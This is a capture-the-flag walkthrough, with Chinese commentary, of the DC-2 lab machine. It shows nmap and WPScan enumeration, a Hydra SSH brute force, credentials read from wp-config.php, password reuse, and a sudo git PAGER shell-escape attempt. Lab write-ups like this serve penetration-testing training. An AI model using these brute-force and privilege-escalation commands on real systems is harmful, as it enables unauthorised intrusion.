┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.124 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-09 09:54 EDT Nmap scan report for 192.168.56.124 Host is up (0.00039s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 7744/tcp open raqmon-pdu MAC Address: 08:00:27:00:39:E2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p80,7744 192.168.56.124 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-09 09:54 EDT Nmap scan report for 192.168.56.124 Host is up (0.00065s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-title: Did not follow redirect to http://dc-2/ |_http-server-header: Apache/2.4.10 (Debian) 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0) | ssh-hostkey: | 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA) | 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA) | 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA) |_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519) MAC Address: 08:00:27:00:39:E2 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.19 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap --script=vuln -p80,7744 192.168.56.124 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-09 09:58 EDT Nmap scan report for dc-2 (192.168.56.124) Host is up (0.00053s latency).
PORT STATE SERVICE 80/tcp open http |_http-csrf: Couldn\'t find any CSRF vulnerabilities. | http-enum: | /wp-login.php: Possible admin folder | /readme.html: Wordpress version: 2 | /: WordPress version: 4.7.10 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. |_ /readme.html: Interesting, a readme. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn\'t find any DOM based XSS. | http-wordpress-users: | Username found: admin | Username found: tom | Username found: jerry |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit' 7744/tcp open raqmon-pdu MAC Address: 08:00:27:00:39:E2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 31.03 seconds
WordPress Security Scanner by the WPScan Team Version 3.8.24 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N] [+] URL: http://dc-2/ [192.168.56.124] [+] Started: Sun Jul 9 10:11:35 2023
[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://dc-2/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03). | Found By: Rss Generator (Passive Detection) | - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator> | - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] WordPress theme in use: twentyseventeen | Location: http://dc-2/wp-content/themes/twentyseventeen/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 3.2 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'
[+] jerry | Found By: Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
[+] tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
WordPress Security Scanner by the WPScan Team Version 3.8.24 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N] [+] URL: http://dc-2/ [192.168.56.124] [+] Started: Sun Jul 9 10:17:34 2023
[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://dc-2/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03). | Found By: Rss Generator (Passive Detection) | - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator> | - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] WordPress theme in use: twentyseventeen | Location: http://dc-2/wp-content/themes/twentyseventeen/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 3.2 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
┌──(kali㉿kali)-[~/Downloads/dc_2] └─$ hydra -L sshuser -P sshpassswd 192.168.56.124 ssh -s 7744 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-09 11:40:34 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task [DATA] attacking ssh://192.168.56.124:7744/ [7744][ssh] host: 192.168.56.124 login: tom password: parturient 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-09 11:40:37
发现 tom 的账户可以用来 ssh 登录，而 wordpress 后台中，第二个 flag 藏在了 jerry 登录才能看到的 post 中
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jul 9 11:47:06 2023 from 192.168.56.106 tom@DC-2:~$ whami -rbash: whami: command not found tom@DC-2:~$
$ sudo -l [sudo] password for tom: Sorry, user tom may not run sudo on DC-2.
信息收集与用户切换
没有权限，进入 home 目录发现还有个 jerry 用户，感觉像是在玩猫和老鼠的梗，除此之外如果仔细翻看登录后的 wordpress 后台的话，可以在用户信息里看到用户的全程就是 tom cat。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ cd /home/jerry $ ls -liah total 28K 128057 drwxr-xr-x 2 jerry jerry 4.0K Mar 21 2019 . 1558 drwxr-xr-x 4 root root 4.0K Mar 21 2019 .. 140336 -rw------- 1 jerry jerry 270 Jul 10 04:47 .bash_history 128060 -rw-r--r-- 1 jerry jerry 220 Mar 21 2019 .bash_logout 128058 -rw-r--r-- 1 jerry jerry 3.5K Mar 21 2019 .bashrc 140348 -rw-r--r-- 1 jerry jerry 223 Mar 21 2019 flag4.txt 128059 -rw-r--r-- 1 jerry jerry 675 Mar 21 2019 .profile $ cat flag4.txt Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
不是很能理解暗示的言外之意，一方面说没有暗示，一方面最后一句又显得很奇怪。wordpress 后台的话，应该能在 config 文件里找到数据库的密码，考虑密码碰撞或者数据库信息泄露或者 mysql 提权
/** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordpressdb');
/** MySQL database username */ define('DB_USER', 'wpadmin');
/** MySQL database password */ define('DB_PASSWORD', '4uTiLL');
/** MySQL hostname */ define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this ifin doubt. */ define('DB_COLLATE', '');
/**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to login again. * * @since 2.6.0 */
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define('WP_DEBUG', false);
/* That\'s all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php'); define( 'WP_AUTO_UPDATE_CORE', false );
拿到 wpadmin:4uTiLL，尝试登录数据库后发现用户密码都经过了哈希，没法碰撞 admin 的密码。想 MySQL 提权的思路发现，对写入目录是有限制的，不满足提权的条件，那就只能试试密码碰撞了
使用 4uTiLL, parturient, adipiscing 尝试登录 root，均失败。
尝试登录 jerry ，adipiscing 登录成功
sudo git 提权
1 2 3 4 5 6
jerry@DC-2:~$ sudo -l Matching Defaults entries for jerry on DC-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2: (root) NOPASSWD: /usr/bin/git
jerry@DC-2:~$ sudo PAGER='sh -c "exec sh 0<&1"' git -p help sudo: sorry, you are not allowed to set the following environment variables: PAGER jerry@DC-2:~$ sudo PAGER='sh -c "exec sh 0<&1"' /usr/bin/git -p help sudo: sorry, you are not allowed to set the following environment variables: PAGER
